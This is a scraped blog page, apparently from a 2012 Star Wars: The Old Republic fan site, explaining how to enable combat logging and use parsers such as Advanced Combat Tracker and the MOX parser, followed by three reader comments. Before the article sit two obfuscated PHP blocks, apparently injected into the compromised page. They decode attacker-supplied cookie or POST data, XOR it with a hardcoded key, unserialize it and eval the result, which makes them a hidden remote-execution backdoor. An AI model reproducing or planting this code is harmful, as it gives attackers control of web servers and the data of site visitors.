$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Operation: Information – Combat Logs (and what to do with them) – Corellian Run Radio
May 042012

By Ghoztt

The community kicked and screamed on the forums on the pros and cons of having combat logs until Bioware finally gave us a compromise.  What we ended up with was a personal combat log tracking ability which would allow people who were interested in measuring their performance to do so.  What this did not allow you to do was to see how other group members were performing.  This week, we’ll delve further into the tools that will allow you to make sense of these log files now that you have them.

The main argument against combat logs was the fact that people tend to get elitist with their numbers.  It was said that some good players would be excluded from operations just because they didn’t put out the top numbers.  The primary argument in favor of combat logs was that it would allow people who wanted to optimize their rotation to do so.  The more serious ‘hard core’ operations will most certainly take advantage of these logs and put a priority on their importance.  The casual operation groups will most likely not even consider its use and put an emphasis on just having fun.  In the end, its use is going to be largely dependent on the type and style of the ops group you run with.  It still can be fun to look at the numbers, even if you aren’t serious about them.

By default, combat logging is disabled because if you aren’t using this functionaility actively it will take up space on your hard drive.  To enable combat logging, go to your options menu and click on Preferences.  From there, select the Combat Logging section on the left then Enable combat logging to file on the right.  This will create a text file in your My Documents folder under SWTOR Combat Logs.

If you want to simply look at your combat log there are several web sites that will take the parsed information and format it into a friendly format.  The one I use is Frying Time.  You simply browse to your log file and upload the data file from your log folder. Once uploaded, it gives you a nicely formatted pie chart (seen below) as well as a line graph layout (not shown).  Also included are details on the abilities used, damage output, duration of combat and other useful information for all you number crunchers out there.  There are even some sites out there, such as Ask Mr. Robot, that allow logs from multiple players to be uploaded from the same fight.  It takes that data and merges it to display as a single encounter.

Alternatively, there are a few applications out there that will allow you to view your combat logs in real time.  You install a small parsing application to your computer that will actively take the logged data from your file and display it on a side window.  They also have options to display to a small pop-out window that you can overlay on your game window.  Advanced Combat Tracker is the one I played with for a time which works out great.  It is a little complicated to set up at first, but once it is installed it works perfectly.

ACT mini-parse window

One of the most advanced parsers currently available is the one from Memories of Xendor.  This takes what you have seen above to the next level and allows you to take real time combat information from multiple operation members.  In order for this to work, everyone in the operation group has to install the MOX parser and enter a raid key that is generated by the raid leader (or whomever is in charge of logging the fights).  The program will actively take each ops member’s log file and output the information into a data window or a pop out window that you can overlay on your game screen.  That data can then be reviewed out of game using the raid key with full details of the encounter.  It never ceases to amaze me on what the community can do with the limited tools that it has.

MOX Mini-Parse Screenshot

As you can see, there are quite a few applications available for the data junkies out there.  Now the hardest part is deciding which one will work best for you.  I’ll grant that none of them are the most elegant solution but, until we get one sanctioned by Bioware, we will have to work with what we have.  Now I’m just waiting for someone to take the threat data that the combat logs take and make a 3rd party threat meter! 🙂  Now get out there and collect some data!

Ready check done?  Pulling in 3… 2… 1…

  3 Responses to “Operation: Information – Combat Logs (and what to do with them)”

  1. Thanks for this article, Ghoztt. I was wondering how all of this works. Thanks for including some sites that will parse the data.

  2. Awesome…I heard about another program that lays itself over TOR to give you real time data from the file. TORKount. Might want to take a look and see if it’s helpful.

  3. Good info. Didn’t even know this had been patched in (haven’t kept up with the notes since 1.2 dropped)

Rss Feed Tweeter button Facebook button Technorati button Reddit button Linkedin button Webonews button Delicious button Digg button Flickr button Stumbleupon button Newsvine button Youtube button
Copy Protected by Tech Tips's CopyProtect Wordpress Blogs.